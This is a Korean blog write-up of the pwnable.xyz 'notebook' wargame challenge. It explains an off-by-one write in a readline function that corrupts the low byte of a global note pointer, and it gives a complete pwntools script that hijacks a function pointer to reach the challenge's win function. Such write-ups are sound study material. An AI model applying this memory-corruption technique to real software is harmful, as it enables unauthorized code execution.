본문으로 바로가기

pwnable.xyz / notebook

category Wargame/pwnable.xyz 2020. 5. 3. 01:28

 

이 바이너리에서 사용하는 note 구조체다. 존재 이유가 명확하지 않은 get_size 필드가 있다는 게 눈에 걸린다.

한 줄을 입력받기 위해 readline이라는 함수를 사용하는데 뭔가 이상한 점이 있다.

 

void __fastcall readline(char *buf, int size, char delim)
{
  char d; // [rsp+0h] [rbp-20h]
  char c; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 __canary; // [rsp+18h] [rbp-8h]

  d = delim;
  __canary = __readfsqword(0x28u);

  for ( i = 0; i < size; ++i )
  {
    read(0, &c, 1uLL);
    if ( c == d )
      break;
    buf[i] = c;
  }

  buf[i] = c;
}

 

반복문 밖에서 buf[i] = c; 를 실행한다. 만약 buf에 delim 문자가 존재하지 않는다면 buf[size] 에 원하는 값 1바이트를 쓸 수 있다.

 

      case 4uLL:
        printf("Notebook name: ");
        readline(nbook, 0x80, 10);
        break;

 

4번 메뉴에서 readline으로 nbook에 0x80 크기만큼 쓸 수 있다.

 

.bss:0000000000602280                 public nbook
.bss:0000000000602280 ; char nbook[128]
.bss:0000000000602280 nbook           db 80h dup(?)           ; DATA XREF: main+28↑o
.bss:0000000000602280                                         ; main+A2↑o
.bss:0000000000602300 ; note *ptr
.bss:0000000000602300 ptr             dq ?                    ; DATA XREF: make_note+B9↑w
.bss:0000000000602300                                         ; edit_note+4↑r ...

 

nbook은 0x602280에 있다. 앞서 언급한 readline의 버그 때문에 ptr의 하위 1바이트를 조작할 수 있다.

 

void __fastcall make_note()
{
  int size; // [rsp+4h] [rbp-Ch]
  note *note; // [rsp+8h] [rbp-8h]

  printf("size: ");
  size = read_int();

  note = (note *)malloc(0x38uLL);
  note->note = (char *)malloc(size);
  note->size = size;
  note->get_size = get_size;

  printf("Title: ");
  readline(note->title, 0x1F, 10);
  printf("Note: ");
  readline(note->note, size, 10);
  ptr = note;
}

 

make_note에서 ptr과 ptr->note에 각각 0x38, size 크기를 할당한 chunk 주소를 넣는다.

 

void edit_note(void)
{
  if ( ptr )
  {
    if ( ptr->note )
    {
      printf("note: ");
      readline(ptr->note, ptr->get_size(ptr), 10);
    }
  }
}

 

edit_note에서 ptr->get_size를 실행한다.

note->note를 적당히 크게 만들어준 뒤 win의 주소를 가득 채워주고 4번 메뉴로 ptr의 마지막 1바이트를 잘 움직이면 높은 확률로 win을 실행할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import argparse

def itob(i) :
    return str(i).encode()

def MakeNote(size:inttitle:bytesnote:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b': ', itob(size))
    p.writelineafter(b': ', title)
    p.writelineafter(b': ', note)

def EditNote(note:bytes) :
    p.writelineafter(b'> 'b'2')
    p.writelineafter(b': ', note)

def DeleteNote() :
    p.writelineafter(b'> 'b'3')

def RenameNotebook(notebook:bytes) :
    p.writelineafter(b'> 'b'4')
    p.writeafter(b': ', notebook)

def exploit() :
    p.writelineafter(b': 'b'A')

    MakeNote(0x110b'A', p64(0x40092C)*0x20)
    RenameNotebook(b'\xF0'*0x80)
    EditNote(b'A')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30035)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/3/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Car shop  (0) 2020.05.06
pwnable.xyz / words  (0) 2020.05.05
pwnable.xyz / nin  (0) 2020.05.02
pwnable.xyz / Dirty Turtle  (0) 2020.05.01
pwnable.xyz / Hero Factory  (0) 2020.05.01